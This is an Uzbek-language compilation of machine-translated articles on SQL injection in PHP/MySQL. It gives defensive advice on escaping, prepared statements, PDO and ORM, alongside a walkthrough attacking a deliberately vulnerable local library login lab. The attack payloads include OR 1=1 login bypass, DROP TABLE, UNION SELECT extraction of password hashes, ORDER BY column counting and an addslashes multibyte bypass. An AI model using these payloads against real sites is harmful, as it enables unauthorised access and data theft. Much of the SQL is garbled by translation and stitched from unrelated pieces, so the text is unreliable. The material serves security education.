Mahsulotda mashq qilish uchun turli xil in'ektsiya turlari mavjud. Shuni esda tutish kerakki, ushbu ko'nikmalarni onlayn yoki haqiqiy saytlarda ishlatish jinoiy javobgarlikka tortilishi mumkin.

In'ektsiyalar va PHP

Qoidaga ko'ra, foydalanuvchidan kelgan so'rovlarni zaruriy qayta ishlash uchun javobgar bo'lgan PHP kodi. Shuning uchun, aynan shu darajada siz PHP da SQL in'ektsiyasidan himoyani yaratishingiz kerak.

  • Ma'lumotlar bazasida saqlashdan oldin har doim qayta ishlanishi kerak. Bunga mavjud ifodalardan foydalanish yoki so'rovlarni qo'lda tashkil qilish orqali erishish mumkin. Bu erda ham raqamli qiymatlar kerakli turga aylantirilishini hisobga olish kerak;
  • So'rovda turli xil boshqaruv tuzilmalari paydo bo'lishidan saqlaning.

Endi SQL in'ektsiyasidan himoya qilish uchun MySQL-da so'rovlarni tuzish qoidalari haqida bir oz.

Har qanday so'rov ifodalarini yozishda ma'lumotlarni SQL kalit so'zlaridan ajratish muhimdir.

  • SELECT * FROM jadval QAYERDA nomi = Zerg.

Ushbu dizaynda tizim Zerg maydonning nomi deb o'ylashi mumkin, shuning uchun uni qo'shtirnoq ichiga olish kerak.

  • SELECT * FROM jadval WHERE name = "Zerg".

Biroq, qiymatning o'zi tirnoqlarni o'z ichiga olgan holatlar mavjud.

  • SELECT * FROM jadval QERDA nomi = "Ivuar Coast".

Bu erda cat-d ning faqat bir qismi qayta ishlanadi, qolganlari esa buyruq sifatida qabul qilinishi mumkin, bu, albatta, mavjud emas. Shuning uchun xatolik yuzaga keladi. Bu shuni anglatadiki, bunday ma'lumotlar tekshirilishi kerak. Buning uchun teskari chiziqdan foydalaning - \.

  • SELECT * FROM jadval QERDA nomi = "Ivuar Coast".

Yuqoridagilarning barchasi strings uchun amal qiladi. Agar harakat raqam bilan sodir bo'lsa, unda qo'shtirnoq yoki chiziqcha kerak emas. Biroq, ularni kerakli ma'lumotlar turiga aylantirishga majbur qilish kerak.

Maydon nomini teskari iqtibosga kiritish tavsiya etiladi. Bu belgi tilde "~" belgisi bilan birga klaviaturaning chap tomonida joylashgan. Bu MySQL maydon nomini kalit so'zidan aniq ajrata olishi uchun zarur.

Ma'lumotlar bilan dinamik ishlash

Ko'pincha dinamik ravishda yaratilgan so'rovlar ma'lumotlar bazasidan har qanday ma'lumotlarni olish uchun ishlatiladi. Masalan:

  • SELECT * FROM jadval WHERE number = "$number".

Bu erda $raqam o'zgaruvchisi maydon qiymatining ta'rifi sifatida uzatiladi. Kot-d'Ivuar unga kirsa nima bo'ladi? Xato.

Albatta, sozlamalarda "sehrli tirnoq" ni yoqish orqali bu muammodan qochishingiz mumkin. Ammo endi ma'lumotlar zarur va kerak bo'lmagan joyda tekshiriladi. Bunga qo'shimcha ravishda, agar kod qo'lda yozilgan bo'lsa, unda siz o'zingiz xakerlarga chidamli tizim yaratish uchun biroz ko'proq vaqt sarflashingiz mumkin.

O'zingiz chiziq qo'shish uchun mysql_real_escape_string dan foydalanishingiz mumkin.

$raqam=mysql_real_escape_string($raqam);

$year=mysql_real_escape_string($year);

$query="INSERT INTO jadval (raqam, yil, sinf) VALUES ("$raqam","$yil",11)".

Kod hajmi oshganiga qaramay, u hali ham xavfsizroq ishlaydi.

Oʻrin egalari

To'ldiruvchilar noyob belgilar bo'lib, ular yordamida tizim bu joyga maxsus funktsiyani kiritish kerakligini biladi. Masalan:

$sate = $mysqli->prepare("Nomi QAYERDAN TUMANNI TANLASH=?");

$sate->bind_param("s", $raqam);

$sate->execute();

Kodning ushbu bo'limi so'rov shablonini tayyorlaydi, so'ngra raqam o'zgaruvchisini bog'laydi va uni bajaradi. Ushbu yondashuv so'rovni qayta ishlash va uni amalga oshirishni ajratish imkonini beradi. Shunday qilib, siz o'zingizni SQL so'rovlariga zararli kod kiritishdan himoya qilishingiz mumkin.

Hujumchi nima qilishi mumkin?

Tizim himoyasi juda muhim omil bo'lib, uni e'tiborsiz qoldirib bo'lmaydi. Albatta, oddiy vizitka veb-saytini tiklash osonroq bo'ladi. Agar bu katta portal, xizmat, forum bo'lsa-chi? Xavfsizlik haqida o'ylamasangiz, qanday oqibatlarga olib kelishi mumkin?

Birinchidan, xaker ma'lumotlar bazasining yaxlitligini buzishi va uni butunlay yo'q qilishi mumkin. Va agar sayt ma'muri yoki hosteri zaxira nusxasini yaratmagan bo'lsa, unda bu qiyin bo'ladi. Bundan tashqari, tajovuzkor bitta saytni buzib, xuddi shu serverda joylashgan boshqa saytlarga o'tishi mumkin.

Keyinchalik tashrif buyuruvchilarning shaxsiy ma'lumotlarini o'g'irlash keladi. Ulardan qanday foydalanish faqat xakerning tasavvuri bilan cheklangan. Ammo har qanday holatda ham, oqibatlari juda yoqimli bo'lmaydi. Ayniqsa, agar u moliyaviy ma'lumotlarni o'z ichiga olgan bo'lsa.

Buzg'unchi ma'lumotlar bazasini o'ziga o'tkazib yuborishi va keyin uni qaytarish uchun pul undirishi mumkin.

Foydalanuvchilarning ular bo'lmagan shaxs nomidan noto'g'ri ma'lumot berishlari ham salbiy oqibatlarga olib kelishi mumkin, chunki firibgarlik holatlari mumkin.

Xulosa

Ushbu maqoladagi barcha ma'lumotlar faqat ma'lumot olish uchun berilgan. Zaifliklarni aniqlash va ularni yo'q qilishda uni faqat o'z loyihalaringizni sinab ko'rish uchun ishlatishingiz kerak.

SQL in'ektsiyasini qanday amalga oshirish metodologiyasini chuqurroq o'rganish uchun siz SQL tilining imkoniyatlari va xususiyatlarini haqiqatda tadqiq qilishdan boshlashingiz kerak. So'rovlar qanday tuzilgan, kalit so'zlar, ma'lumotlar turlari va bularning barchasini qo'llash.

PHP funksiyalari va HTML elementlari qanday ishlashini tushunmasdan ham qila olmaysiz. Inyeksiyalardan foydalanishning asosiy zaif nuqtalari manzillar paneli, qidiruv va turli maydonlardir. PHP funksiyalarini, ular qanday amalga oshirilishini va imkoniyatlarini o'rganish sizga qanday qilib xatolardan qochish mumkinligini tushunishga yordam beradi.

Ko'pgina tayyor dasturiy vositalar mavjudligi ma'lum zaifliklar uchun saytni chuqur tahlil qilish imkonini beradi. Eng mashhur mahsulotlardan biri bu kali linux. Bu Linux-ga asoslangan operatsion tizimning tasviri bo'lib, unda ko'plab yordamchi dasturlar va dasturlar mavjud bo'lib, ular saytni har tomonlama tahlil qilish imkoniyatiga ega.

Nima uchun veb-saytni qanday buzishni bilishingiz kerak? Hammasi juda oddiy - bu sizning loyihangiz yoki veb-saytingizning potentsial zaif joylari haqida tasavvurga ega bo'lish uchun kerak. Ayniqsa, agar bu onlayn to'lov qobiliyatiga ega bo'lgan onlayn-do'kon bo'lsa, bu erda foydalanuvchining to'lov ma'lumotlari tajovuzkor tomonidan buzilgan bo'lishi mumkin.

Professional tadqiqotlar uchun axborot xavfsizligi xizmatlari saytni turli mezonlar va chuqurliklar bo'yicha tekshirishlari mumkin bo'ladi. Oddiy HTML in'ektsiyasidan boshlab, ijtimoiy muhandislik va fishingga qadar.

Uni yakunlashda muvaffaqiyatlar tilaymiz. O'tish natijalari keyinroq e'lon qilinadi (ijtimoiy tarmoqlardagi yangiliklarni kuzatib boring) va barcha o'tganlarga ham yuboriladi. taklif qiling saytda ro'yxatdan o'tish uchun.

Yoqtiring, do'stlar va hamkasblar bilan baham ko'ring, ijtimoiy tarmoqlarda repost qiling.

Barcha dasturchilar veb-sayt xavfsizligini buzish usullari haqida o'qigan yoki hech bo'lmaganda eshitgan. Yoki hatto bu muammoga duch kelgan. Boshqa tomondan, saytni buzmoqchi bo'lganlarning tasavvurlari cheksizdir, shuning uchun barcha to'siqlar yaxshi himoyalangan bo'lishi kerak. Shuning uchun men veb-saytlarni buzishning asosiy usullari va usullarini taqdim etadigan bir qator qisqa maqolalarni boshlamoqchiman.

Birinchi maqolada men saytning eng zaif qismlaridan biri - shakllarni buzishning ba'zi umumiy usullarini tasvirlab bermoqchiman. Men ushbu usullardan qanday foydalanish va hujumlarning oldini olish, shuningdek, xavfsizlik testlarini qamrab olish haqida batafsil ma'lumot beraman.

SQL in'ektsiyasi

SQl in'ektsiyasi - bu tajovuzkor veb-sahifadagi kirish maydoniga SQL buyruqlarini kiritish usuli. Bu imput har qanday bo'lishi mumkin - formadagi matn maydoni, _GET va _POST parametrlari, cookie fayllari va boshqalar. Bu usul PHP dunyosida ramkalar paydo bo'lishidan oldin juda samarali bo'lgan. Ammo ma'lumotlar obyekti uchun ORM yoki boshqa kengaytmalardan foydalanmasangiz, bu buzish hali ham xavfli bo'lishi mumkin. Nega? Parametrlarni SQL so'roviga o'tkazish usuli tufayli.

"Ko'r" in'ektsiyalari

Keling, foydalanuvchini login va parol xesh (kirish sahifasi) orqali qaytaradigan SQL bayonotining klassik misolidan boshlaylik.

1-misol

mysql_query("Tanlash identifikatori, login =? va parol = xesh(?)");

Men ushbu yechimning turli xil variantlari tufayli ifodaga savol belgilarini qo'ydim. Birinchi variant, menimcha, eng zaif:

Misol 1a

Mysql_query("Tanlash identifikatori, foydalanuvchilardan login QERDA login = "" . $login . "" va parol = hash("" . $parol . "")");

Bunday holda, kod noto'g'ri kiritilgan ma'lumotlarni tekshirmaydi. Qiymatlar to'g'ridan-to'g'ri kirish shaklidan SQL so'roviga o'tkaziladi. Eng yaxshi holatda, foydalanuvchi o'z foydalanuvchi nomi va parolini shu yerda kiritadi. Eng yomon stsenariy nima? Keling, ushbu shaklni buzishga harakat qilaylik. Buni "tayyorlangan" ma'lumotlarni uzatish orqali amalga oshirish mumkin. Keling, ma'lumotlar bazasidan birinchi foydalanuvchi sifatida tizimga kirishga harakat qilaylik va ko'p hollarda bu administrator hisobi. Buning uchun loginni kiritish o'rniga maxsus qatorni o'tkazamiz:

"YOKI 1=1; --

Birinchi kotirovka ham bitta tirnoq bo'lishi mumkin, shuning uchun xakerlik qilish uchun bitta urinish etarli bo'lmasligi mumkin. Oxirida nuqtali vergul va ikkita chiziqcha qo'yiladi, shunda keyin kelgan hamma narsa izohga aylanadi. Natijada, quyidagi SQL so'rovi bajariladi:

Identifikatorni tanlang, foydalanuvchilardan tizimga kiring WHERE login = “;” YOKI 1=1 LIMIT 0,1; - va parol = xesh(";Ba'zi parol")

U ma'lumotlar bazasidan birinchi foydalanuvchini qaytaradi va ehtimol dasturga o'sha foydalanuvchi sifatida kirishi mumkin. Har bir foydalanuvchi sifatida tizimga kirish uchun LIMIT qo'shish yaxshi harakat bo'ladi. Bu har bir qiymatdan o'tish uchun zarur bo'lgan yagona narsa.

Yana jiddiy usullar

Oldingi misolda hamma narsa juda qo'rqinchli emas. Administrator boshqaruv panelidagi variantlar har doim cheklangan va saytni buzish uchun ko'p mehnat talab etiladi. Ammo SQL in'ektsiyasi orqali qilingan hujum tizimga katta zarar etkazishi mumkin. "Foydalanuvchilar" asosiy jadvali bilan qancha ilovalar yaratilgani va agar tajovuzkor himoyalanmagan shaklga shunday kod kiritsa nima bo'lishini o'ylab ko'ring:

Mening sevimli login"; DROP TABLE foydalanuvchilari; --

"Foydalanuvchilar" jadvali o'chiriladi. Bu ma'lumotlar bazasi zahiralarini tez-tez qilishning sabablaridan biridir.

_GET parametrlari

Shakl orqali to'ldirilgan barcha parametrlar ikkita usuldan biri - GET yoki POST yordamida serverga uzatiladi. GET orqali uzatiladigan eng keng tarqalgan parametr id hisoblanadi. Bu hujumlar uchun eng zaif joylardan biri va qaysi turdagi URL manzilidan foydalanishingiz muhim emas - ` http://example.com/ foydalanuvchilar/?id=1` yoki ` http://example.com/ foydalanuvchilar/1` yoki ` http://......./.../ post/35 `.

Agar biz URL manziliga quyidagi kodni kiritsak nima bo'ladi?

Http://example.com/users/?id=1 VA 1=0 UNION SELECT 1,concat(login,parol), 3,4,5,6 FROM foydalanuvchilar QERDA id =1; --

Ehtimol, bunday so'rov foydalanuvchining logini va ... parolining xeshini qaytaradi. `VA 1=0` so'rovining birinchi qismi undan oldingi narsani yolg'onga aylantiradi, shuning uchun hech qanday yozuvlar olinmaydi. Va so'rovning ikkinchi qismi tayyorlangan ma'lumotlar shaklida ma'lumotlarni qaytaradi. Va birinchi parametr id bo'lganligi sababli, keyingisi foydalanuvchi login va uning parolining xeshi va boshqa parametrlar bo'ladi. Misoldagi kabi parolni dekodlash uchun qo'pol kuch ishlatadigan ko'plab dasturlar mavjud. Va foydalanuvchi turli xizmatlar uchun bir xil paroldan foydalanishi mumkinligi sababli, ularga kirish imkoniyatiga ega bo'lish mumkin.

Qizig'i shundaki: `mysql_real_escape_string`, `addslashes` va boshqalar kabi usullar yordamida bunday hujumdan himoyalanish mutlaqo mumkin emas. d) Asosan, bunday hujumdan qochishning hech qanday usuli yo'q, shuning uchun parametrlar quyidagicha o'tkazilsa:

"ID, login, email, param1 FROM foydalanuvchilar FROM id = " . addslashes($_GET["id"]);"

muammolar yo'qolmaydi.

Satrdagi belgilardan qochish

Men dasturlashni yangi boshlaganimda kodlash bilan ishlashda qiynalardim. Men ular orasidagi farq nima ekanligini tushunmadim, nima uchun UTF-16 kerak bo'lganda UTF-8 dan foydalanish kerak, nega ma'lumotlar bazasi har doim kodlashni latin1 ga o'rnatadi. Bularning barchasini nihoyat tushuna boshlaganimda, agar hamma narsani bitta kodlash standartida saqlasam, muammolar kamroq bo'lishini aniqladim. Bularning barchasini saralashda men bir kodlashdan boshqasiga o'tkazishda yuzaga keladigan xavfsizlik muammolarini ham payqadim.

Oldingi misollarning aksariyatida tasvirlangan muammolarni so'rovlarda bitta tirnoq yordamida oldini olish mumkin. Agar siz addslashes() dan foydalansangiz, teskari chiziq bilan qochib ketgan yagona tirnoqlarga tayanadigan SQL in'ektsiya hujumlari muvaffaqiyatsiz bo'ladi. Ammo bunday hujum, agar siz shunchaki belgini 0xbf27 kodi bilan almashtirsangiz, addslashes() uni 0xbf5c27 kodi bo'lgan belgiga o'zgartirsa, natija berishi mumkin va bu butunlay haqiqiy bitta tirnoq belgisidir. Boshqacha qilib aytganda, `mā` addslashes() orqali o'tadi va keyin MySQL xaritalash uni ikkita 0xbf (¿) va 0x27 (‘) belgilarga aylantiradi.

"FROM foydalanuvchilar FROM WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Bu misol b yoki 1=1 ni o'tish orqali buzib kirishi mumkin; -- formadagi login maydonida. SQL mexanizmi yakuniy so'rovni quyidagicha yaratadi:

TANLOV * foydalanuvchilardan WHERE login = "¿" YOKI 1=1; --

Va u ma'lumotlar bazasidan birinchi foydalanuvchini qaytaradi.

Himoya

Ilovani qanday himoya qilish kerak? Ko'p usullar mavjud, ulardan foydalanish dasturni butunlay daxlsiz qilmaydi, lekin hech bo'lmaganda uning xavfsizligini oshiradi.

Mysql_real_escape_string dan foydalanish

addslashes() funksiyasi ishonchsiz, chunki u ko'plab xakerlik holatlariga ruxsat bermaydi. mysql_real_escape_string da bunday muammolar yo'q

MySQLi-dan foydalanish

Ushbu MySQL kengaytmasi tegishli parametrlar bilan ishlashi mumkin:

$stmt = $db->prepare("uets set parametrini yangilash = ? qaerda id =?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

PDO dan foydalanish

Parametrlarni almashtirishning uzoq yo'li:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $parol); $stmt = $dbh->prepare("REGISTERGA (nom, qiymat) VALUES (:name, :value) INSERT INTO"); $stmt->bindParam(":name", $name); $stmt->bindParam(":qiymat", $qiymat); // bitta qator kiriting $name = "bir"; $qiymat = 1; $stmt->execute();

Qisqa yo'l:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $parol); $stmt = $dbh->prepare("Odamlar SET nomini YANGILASH = :new_name WHERE id = :id"); $stmt->execute(array("yangi_ism" => $name, "id" => $id));

ORM dan foydalanish

ORM va PDO dan foydalaning va bog'lash (bog'lashdan foydalaning) parametrlaridan foydalaning. Kodingizda SQL dan saqlaning, agar kodingizda SQL ni ko'rsangiz, unda biror narsa noto'g'ri.

ORM kod va parametrlarni tekshirishdagi qiyinchiliklarda xavfsizlikni ta'minlaydi.

xulosalar

Ushbu seriyaning maqsadi veb-saytlarni buzish bo'yicha to'liq qo'llanmani taqdim etish emas, balki dastur xavfsizligini ta'minlash va har qanday manbadan hujumlarning oldini olishdir. Men ushbu maqolani nafaqat dasturchilar uchun yozishga harakat qildim - ular koddagi har qanday tahdidlardan xabardor bo'lishlari va ularni qanday oldini olishni bilishlari kerak, balki sifatli muhandislar uchun ham - chunki ularning vazifasi bunday muammolarni kuzatish va hisobot berishdir.

SQL inyeksiyalarining mohiyati

Ehtimol, siz allaqachon Internetdan hazilni eshitgansiz: " Nima uchun barcha rasm chizish darslarida bir xil: Masalan, boyo'g'li chizish darsi. Birinchidan, biz yarim soat davomida boyo'g'lining ko'zini batafsil chizamiz. Va keyin - bir marta - besh daqiqada - biz boyo'g'lining qolgan qismini chizamiz».

Bu haqda hatto rasm ham bor:

SQL in'ektsiyalari bo'yicha juda ko'p materiallar mavjud: maqolalar, kitoblar, video kurslar (pullik va bepul). Biroq, ularning ko'pchiligi bu masala bo'yicha tushunishni qo'shmaydi. Ayniqsa, agar siz yangi boshlovchi bo'lsangiz. Tuyg‘ularimni yaxshi eslayman: mana aylana, mana qolgan boyo‘g‘li...

Ushbu eslatmaning maqsadi oddiy, oddiy tushuntirish berish uchun boyqushga ko'zni tortishdir. SQL in'ektsiyalari nima, ularning mohiyati nima, ular qanchalik xavfli va nima uchun.

Tajribalar uchun bizda SQL in'ektsiyasi uchun zaif bo'lgan juda oddiy skript bo'ladi:

Bobruisk mintaqaviy kutubxonasiga kirish uchun hisob ma'lumotlaringizni kiriting:

Ismingizni kiriting

Parolingizni kiriting


so'rov ("SET NAMES UTF8"); $mysqli->query("CHARACTER SET SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); ) $name = filter_input(INPUT_GET, "ism"); $parol = filter_input(INPUT_GET, "parol"); if ($result = $mysqli->query("SELECT * FROM `a'zolari` WHERE name = "$name" VA password = $parol")) ( while ($obj = $result->fetch_object()) ( echo "

Sizning ismingiz:$obj->ism

Sizning holatingiz:$obj->status

Siz uchun mavjud kitoblar:$obj->kitoblar


"; ) ) else ( printf("Xato: %sn", $mysqli->xato); ) $mysqli->close(); ?>

Agar men bilan hamma narsani qilsangiz, ko'proq narsani tushunasiz. Demak, bu yerda. U ikkita faylni o'z ichiga oladi: index.php Va db_library.sql. index.php faylini serverning istalgan joyiga joylashtiring - bu bizning zaif skriptimiz. Va db_library.sql faylini, masalan, phpMyAdmin yordamida import qilish kerak.

Index.php faylida ma'lumotlar bazasi foydalanuvchi nomi ildizga o'rnatiladi va parol bo'sh. Siz qatorni tahrirlash orqali ma'lumotlaringizni kiritishingiz mumkin:

$mysqli = new mysqli("localhost", "root", "", "db_library");

Afsonaga ko'ra, bu Bobruisk viloyat kutubxonasining onlayn versiyasiga kirish shakli. Bizga allaqachon ishonchnomalar berilgan: foydalanuvchi nomi - Demo, parol - 111.

Keling, ularni kiritamiz va ko'ramiz:

Hisob ma'lumotlarimiz qabul qilindi, bizning ismimiz, maqomimiz va bizda mavjud bo'lgan kitoblarimiz ekranlarda ko'rsatiladi. Siz har qanday boshqa ma'lumotlar bilan (agar siz ismingiz yoki parolingizni o'zgartirsangiz) urinib ko'rishingiz mumkin, biz tizimga kira olmaymiz va o'qish uchun mavjud bo'lgan kitoblarni ko'ra olmaymiz. Shuningdek, bizda qaysi kitoblar boshqalar uchun mavjud ekanligini bilishning imkoni yo'q, chunki biz ularning foydalanuvchi nomi va parolini bilmaymiz.

Ma'lumotlar bazasi so'rovi qanday sodir bo'lganligini tushunish uchun manba kodini ko'rib chiqaylik:
So'z TANLASH SQL so'rovida qanday ma'lumotlarni olish kerakligini ko'rsatadi. Masalan, siz SELECT nomini yoki SELECT nomini, parolni belgilashingiz mumkin. Keyin birinchi holatda faqat ism jadvaldan olinadi, ikkinchisida - faqat ism va parol. Yulduzcha barcha qiymatlarni olishingiz kerakligini aytadi. Bular. SELECT * - bu barcha qiymatlarni olishni anglatadi.

FROM ularni qayerdan olishingiz kerakligini aytadi. FROM dan keyin jadval nomi keladi, ya'ni FROM `a'zolari` yozuvida `a'zolar` jadvalidan olish deyiladi.

Keyinchalik QAYERDA, agar siz biron bir dasturlash tillarini o'rgangan bo'lsangiz, unda bu so'z "Agar" ga juda o'xshaydi. Va keyin shartlar mavjud, bu shartlar rost (1) yoki noto'g'ri (0) bo'lishi mumkin. Bizning holatda

(ism = '$name') VA (parol ='$parol')

o‘tkazilgan $name o‘zgaruvchisi jadvaldagi nom maydoni qiymatiga va o‘tkazilgan ‘$parol o‘zgaruvchisi jadvaldagi parol maydoni qiymatiga teng bo‘lsa, shart to‘g‘ri bo‘ladi, degan ma’noni anglatadi. Agar kamida bitta shart bajarilmasa (noto'g'ri foydalanuvchi nomi yoki parol), jadvaldan hech narsa olinmaydi, ya'ni SELECT * FROM `a'zolari` iborasi WHERE name = '$name' AND password ='$password' degani : in "A'zolar" jadvalida, agar ular uchun shart bajarilsa, barcha maydonlarning qiymatlarini oling - o'tkazilgan foydalanuvchi nomi va parol jadvalda topilganlarga mos keladi.

Bu tushunarli. Keling, masalan, foydalanuvchi nomi bilan bitta tirnoq kiritamiz:

Manzil paneli:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Hech qanday ma'lumot olinmadi, buning o'rniga biz xatoni ko'ramiz:
To'g'ri ma'lumotlarni kiritganimizda, so'rovimiz quyidagicha ko'rinish oldi:
Iqtibos qo'shish orqali so'rovimiz quyidagicha bo'ladi:
Aniqlik uchun qo'shimcha joylar qo'yaman, ya'ni biz so'rovni olamiz
Aytgancha, so'rov sintaksisda to'g'ri. Va undan keyin darhol, hech qanday ajratuvchisiz, so'rov davom etadi:

"VA parol = "111"

Bu hamma narsani buzadi, chunki ochilish va yopilish tirnoqlari soni teng emas. Siz, masalan, boshqa tirnoq kiritishingiz mumkin:
Manzil paneli:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Xato yo'qoldi, ammo bu so'rovga hech qanday ma'no qo'shmadi. So'rovning ma'nosiz dumi bizni bezovta qilmoqda. Undan qanday qutulish mumkin?

Javob bor - bu sharhlar.

MySQL-da sharhlar uchta usulda belgilanishi mumkin:

  1. # (xesh - chiziq oxirigacha ishlaydi)
  2. - (ikki chiziq - chiziq oxirigacha ishlaydi, ikkita chiziqdan keyin bo'sh joy kerak)
  3. /* bu izoh */ to'rtta belgidan iborat guruh - ichidagi hamma narsa sharh, bu belgilar guruhidan oldingi yoki keyin hamma narsa izoh hisoblanmaydi.
Keling, so'rovimizga bitta iqtibos bilan izoh qo'yamiz, bu iqtibosdan keyin dumni tashlash uchun sharh belgisini va bo'sh joyni bildiruvchi + belgisini qo'yamiz, shunda so'rov quyidagicha bo'ladi:
Manzil paneli:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Nafaqat xatolik yo'qoldi, balki Demo foydalanuvchisi uchun to'g'ri ma'lumotlar ko'rsatildi. Shu vaqtdan boshlab bizning so'rovimiz shaklni oldi
Axir, ot dumi -+ ‘VA parol =’111’ izohga aylandi va endi so'rovga ta'sir qilmaydi.

Yangi so'rovni yana bir bor ko'rib chiqing:
Va endi parolni tekshirmaydi! Bular. Qonuniy foydalanuvchilarning ismlarini bilish, lekin ularning parollarini bilmaslik, biz ularning shaxsiy ma'lumotlarini ko'rishimiz mumkin. Bular. Biz allaqachon SQL in'ektsiyasidan foydalanishni boshladik.

Afsuski, men hech qanday qonuniy nomlarni bilmayman va boshqa narsani o'ylab topishim kerak.

Keling, so'rovning ushbu qismini batafsil ko'rib chiqaylik:
Birinchi so'rovda ishlatiladigan AND esingizdami? Bu mantiqiy VA operatsiyani anglatadi. Eslatib o‘tamiz, “VA” mantiqiy amali ikkala ifoda ham to‘g‘ri bo‘lsagina “to‘g‘ri” (1) ni hosil qiladi. Ammo "OR" mantiqiy operatori iboralardan kamida bittasi rost bo'lsa ham "to'g'ri" (1) ni hosil qiladi. Bular. ifoda
har doim rost bo'ladi har doim 1 ni qaytaradi. Chunki taqqoslanayotgan ikkita ifodadan biri har doim 1 ni qaytaradi.

Bular. biz shunday ko'rinishdagi ifoda yaratishimiz kerak:
Manzil paneli:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ YOKI 1 -+ &parol=111

Natija:

Natija ajoyib! Biz jadvaldagi barcha yozuvlar ro'yxatini oldik.

ORDER BY va UNION SQL in'ektsiyalarining asosiy do'stlari hisoblanadi

Biz allaqachon haqiqiy foydalanuvchi nomi va parolga ega bo'lmaganlar uchun mavjud bo'lmagan ma'lumotlarni oldik. Men oladigan boshqa narsa bormi? Ha, siz ushbu jadvalning toʻliq maʼlumotlarini olishingiz mumkin (eslatib qoʻyay, bizda hali parollar yoʻq. Bundan tashqari, biz ushbu serverdagi barcha maʼlumotlar bazalaridagi barcha maʼlumotlarni bitta kichik teshik orqali olishimiz mumkin!

UNION SQL so'rovlarini birlashtirish imkonini beradi. Haqiqiy hayotda mening vazifalarim oddiy, shuning uchun ma'lumotlar bazalari va imkoniyatlarga oddiy so'rovlar UNION Men undan foydalanmayman. Ammo SQL in'ektsiyalari uchun bundan qimmatliroq so'z yo'q.

UNION SQL so'rovlarini SELECT bilan, shu jumladan turli ma'lumotlar bazalaridan juda moslashuvchan tarzda birlashtirishga imkon beradi. Lekin muhim sintaksis talabi bor: birinchi SELECTdagi ustunlar soni ikkinchi SELECTdagi ustunlar soniga teng boʻlishi kerak.

Buyurtma berish jadvaldan olingan ma'lumotlarni saralashni o'rnatadi. Siz ustun nomi yoki uning raqami bo'yicha saralashingiz mumkin. Bundan tashqari, agar ushbu raqam bilan ustun bo'lmasa, xato ko'rsatiladi:

Manzil paneli:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ BUYURTISH 1 -+ &parol=111

So'rov quyidagicha ko'rinadi:
Hech qanday ma'lumot ko'rsatilmasligi uchun foydalanuvchi nomini -1 bilan almashtirdik.

Hech qanday xatolik yo'q, so'rovlar bilan ham xatolik yo'q
Va bu erda iltimos
u manzil satriga mos keladi

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ BUYURTDI 6 -+ &parol=111

Menda xatolik bor

Bu shuni anglatadiki, ma'lumotlar jadvaldan beshta ustundan tanlanadi.

Biz so'rovimizni UNION bilan tuzamiz:

Aytganimdek, ikkala SELECTda maydonlar soni bir xil bo'lishi kerak, ammo bu sohalarda nima borligi juda muhim emas. Siz, masalan, oddiygina raqamlarni kiritishingiz mumkin - va bular ko'rsatiladi. NULLni kiritishingiz mumkin - keyin maydon o'rniga hech narsa ko'rsatilmaydi.
Manzil paneli:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Ustunlar sonini topishning yana bir usuli - bir xil UNION dan foydalanish. Narvon yordamida biz ustunlar sonini qo'shamiz:
Ularning barchasi bir xil xatoni keltirib chiqaradi:

Xato xabari yo'qolguncha buni bajaring.

E'tibor bering, ba'zi UNION SELECT 1,2,3,4,5 maydonlarining mazmuni ekranda aks etadi. Raqamlar o'rniga siz funktsiyalarni belgilashingiz mumkin.

SELECTda nima yozish kerak

UNIONda to'g'ridan-to'g'ri yozilishi mumkin bo'lgan ba'zi funktsiyalar mavjud:

  • MA'LUMOTLAR BAZASI()- joriy ma'lumotlar bazasi nomini ko'rsatish
  • CURRENT_USER()- foydalanuvchi nomi va xost nomini ko'rsatadi
  • @@datadir- ma'lumotlar bazasiga mutlaq yo'lni ko'rsatadi
  • USER()- Foydalanuvchi nomi
  • VERSION()- ma'lumotlar bazasi versiyasi
Bizning misolimizda 2, 4 va 5-maydonlar ko'rsatiladi, ya'ni. biz ushbu maydonlarning har qandayidan foydalanishimiz mumkin.

UNION SELECT da DATABASE() dan foydalanish

Manzil:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4, DATABASE() -+ &password=111

Natija:

Jadval nomlari, maydonlar va ma'lumotlar bazasi dumpini olish

Ma'lumotlar bazasida axborot_sxema deb nomlangan jadval mavjud jadvallar. Ushbu jadval ushbu serverdagi barcha ma'lumotlar bazalarida mavjud bo'lgan barcha jadvallar ro'yxatini o'z ichiga oladi. Jadvallarimizni maydonda qidirish orqali tanlashimiz mumkin jadval_sxema Ma'lumotlar bazamiz nomi "db_library" (biz DATABASE() yordamida nomni topdik).

Bu to'liq UNION texnikasi deb ataladi. Internetda u haqida juda ko'p materiallar mavjud. MySQL serverimda to'liq UNION texnikasi ishlamaydi. Men xatolik olaman
Qo'llarning egriligi tufayli u ishlamaydi, chunki bu usul sqlmap uchun ham natija bermaydi:

Toʻliq UNION texnikasida nimadir notoʻgʻri ketdi (qayta olingan yozuvlar soni cheklanganligi sababli boʻlishi mumkin). Qisman UNION texnikasiga qaytish

Buning sababi MySQL 5.6 versiyasi bo'lishi mumkin. Chunki Men amaliy misollar keltira olmayman va boshqa odamlarning buzilgan buyruqlarini qayta yozishga qiziqmayman - endi mensiz ham Internetda siz xohlagancha "buyuk nazariyotchilar" bor, shuning uchun men darhol o'tishga qaror qildim. qisman UNION texnikasini hisobga olgan holda. Ammo bu eng oddiy texnika emas va maqola allaqachon juda uzun.

